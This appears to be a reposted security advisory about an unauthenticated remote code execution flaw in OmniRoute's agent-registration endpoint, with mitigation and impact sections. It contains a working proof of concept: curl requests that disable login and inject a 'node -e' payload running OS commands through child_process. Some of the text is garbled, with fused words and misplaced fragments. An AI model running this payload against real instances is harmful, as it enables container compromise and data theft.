Listen to this Post
POST /api/acp/agents registers a custom ACP agent. The endpoint accepts user-controlled `binary` and `versionCommand` values. After saving the custom agent, the same request calls refreshAgentCache(), which triggers agent version detection. The version probe eventually runs:
execFileSync(probe.command, probe.args, ...)
The only validation is resolveVersionProbe(binary, versionCommand, true), which checks that the first token of `versionCommand` matches the request-provided binary. Because `binary` is also attacker-controlled, an attacker can submit:
{
"binary": "node",
"versionCommand": "node -e \"...arbitrary JavaScript...\""
}
This executes arbitrary Node.js code inside the server container, and that code can execute OS commands via child_process.execSync().
When requireLogin=false, `isAuthenticated()` treats anonymous requests as authenticated. At the same time, `/api/acp/` is not included in `LOCAL_ONLY_API_PREFIXES` or SPAWN_CAPABLE_PREFIXES, so the endpoint is not blocked by the LOCAL_ONLY policy before reaching the anonymous allow branch. As a result, a remote anonymous attacker can execute commands inside the OmniRoute container with a single HTTP request.
The vulnerability exists because the endpoint stores user-controlled command fields without an executable allowlist. The only guard is a self-consistency check that verifies the first token of `versionCommand` matches `binary` or path.basename(binary). Since both values are attacker-controlled, `binary=”node”` and `versionCommand=”node -e \”…\””` pass validation. The `tokenizeVersionCommand()` function only blocks a small set of shell metacharacters (;&|<>$\r\n), but this does not prevent `node -e` code execution because characters needed for the payload, such as(,),‘,.,/,,, and spaces, are allowed.refreshAgentCache()
After saving the custom agent, the route calls, which merges built-in and custom agents and calls `detectAgent()` for each one. The command execution sink is atsrc/lib/acp/registry.ts:307-325. On Linux containers, `shouldUseShellForVersionProbe()` returnsfalse, so the effective execution isexecFileSync(“node”, [“-e”, “…”]). No shell metacharacters are required.requireLogin=false
The unauthenticated exploit is reachable when the target instance has, or during a bootstrap window when a fresh instance has no management password configured yet. If the instance is in the default `requireLogin=true` state and already has a management password, exploitation requires a valid management session or management-scoped API key.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: OmniRoute
Version: latest
Vulnerability: unauthenticated RCE
Severity: Critical
date: 2026-09-11
<h2 style="color: blue;">Prediction: 2026-10-09</h2>
<h2 style="color: blue;">What Undercode Say</h2>
Start a Test Instance JWT=$(openssl rand -base64 48) AKS=$(openssl rand -hex 32) docker network create omniroute-poc-net docker run -d --name omniroute-poc-redis --network omniroute-poc-net redis:7-alpine docker run -d --name omniroute-poc --network omniroute-poc-net \ -p 20128:20128 -p 20129:20129 \ -e JWT_SECRET="$JWT" \ -e API_KEY_SECRET="$AKS" \ -e REDIS_URL="redis://omniroute-poc-redis:6379" \ diegosouzapw/omniroute:latest
Put the Instance in the Login-Disabled State
curl -s -X POST "http://localhost:20128/api/settings/require-login" \
-H "content-type: application/json" \
-d '{"requireLogin":false}'
Trigger RCE Anonymously
curl -s -X POST "http://localhost:20128/api/acp/agents" \
-H "content-type: application/json" \
-d '{
"id":"anonrce",
"name":"anonrce",
"binary":"node",
"protocol":"stdio",
"versionCommand":"node -e \"require('\''fs'\'').writeFileSync('\''/app/data/UNAUTH_RCE_PROOF.txt'\'',require('\''child_process'\'').execSync('\''id'\'').toString()+require('\''child_process'\'').execSync('\''uname -a'\'').toString())\""
}'
Verify Command Execution docker exec omniroute-poc cat /app/data/UNAUTH_RCE_PROOF.txt
<h2 style="color: blue;">Expected output is similar to:</h2>
uid=1000(node) gid=1000(node) groups=1000(node) Linux <container-id> <kernel-version> ... <arch> GNU/Linux
This proves that the anonymous HTTP request executed `id` and `uname -a` inside the OmniRoute container.
<h2 style="color: blue;">Exploit: (Educational Purposes!)</h2>
The following request sends no cookie and no Bearer token:
curl -s -X POST "http://localhost:20128/api/acp/agents" \
-H "content-type: application/json" \
-d '{
"id":"anonrce",
"name":"anonrce",
"binary":"node",
"protocol":"stdio",
"versionCommand":"node -e \"require('\''fs'\'').writeFileSync('\''/app/data/UNAUTH_RCE_PROOF.txt'\'',require('\''child_process'\'').execSync('\''id'\'').toString()+require('\''child_process'\'').execSync('\''uname -a'\'').toString())\""
}'
This single HTTP request triggersrefreshAgentCache(), which callsdetectInstalledAgents(), which calls `detectAgent()` for the custom agent. The version probe executesexecFileSync(“node”, [“-e”, “…”]), running the arbitrary JavaScript payload inside the OmniRoute container.SPAWN_CAPABLE_PREFIXES
<h2 style="color: blue;">Protection: from this CVE</h2>
- Update OmniRoute to a version that includes the patch.
- Restrict access to `/api/acp/` endpoints using network policies or reverse proxy rules.
- Ensure `requireLogin=true` is enforced and a management password is configured.
- Add `/api/acp/` to `LOCAL_ONLY_API_PREFIXES` and.uid=1000(node)`).
- Implement an executable allowlist for `binary` and `versionCommand` values.
- Monitor for suspicious POST requests to `/api/acp/agents` with unusual `versionCommand` payloads.
<h2 style="color: blue;">Impact</h2>
- Remote anonymous attacker can execute arbitrary OS commands inside the OmniRoute container.
- Full container compromise with the privileges of the Node.js process (typically
– Potential lateral movement within the container network.
– Data exfiltration, modification, or destruction within the container filesystem.
– Denial of service by executing resource-intensive commands.
– If the container runs with elevated privileges or mounts sensitive volumes, the impact extends to the host system.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
